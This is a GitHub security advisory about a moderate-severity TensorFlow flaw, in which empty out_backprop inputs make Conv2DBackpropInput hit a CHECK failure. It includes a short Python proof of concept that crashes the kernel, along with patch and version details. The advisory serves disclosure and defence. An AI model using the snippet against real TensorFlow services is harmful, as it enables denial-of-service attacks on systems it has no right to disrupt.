GitHub Security Advisory

TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

### Impact
When `Conv2DBackpropInput` receives empty `out_backprop` inputs (e.g. `[3, 1, 0, 1]`), the current CPU/GPU kernels `CHECK` fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack.
```python
import tensorflow as tf
import numpy as np
input_sizes = [3, 1, 1, 2]
filter = np.ones([1, 3, 2, 3])
out_backprop = np.ones([3, 1, 0, 3])
strides = [1, 1, 2, 1]
padding = 'VALID'

tf.raw_ops.Conv2DBackpropInput(
input_sizes = input_sizes,
filter = filter,
out_backprop = out_backprop,
strides = strides,
padding = padding
)
```

### Patches
We have patched the issue in GitHub commit [27a65a43cf763897fecfa5cdb5cc653fc5dd0346](https://github.com/tensorflow/tensorflow/commit/27a65a43cf763897fecfa5cdb5cc653fc5dd0346).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
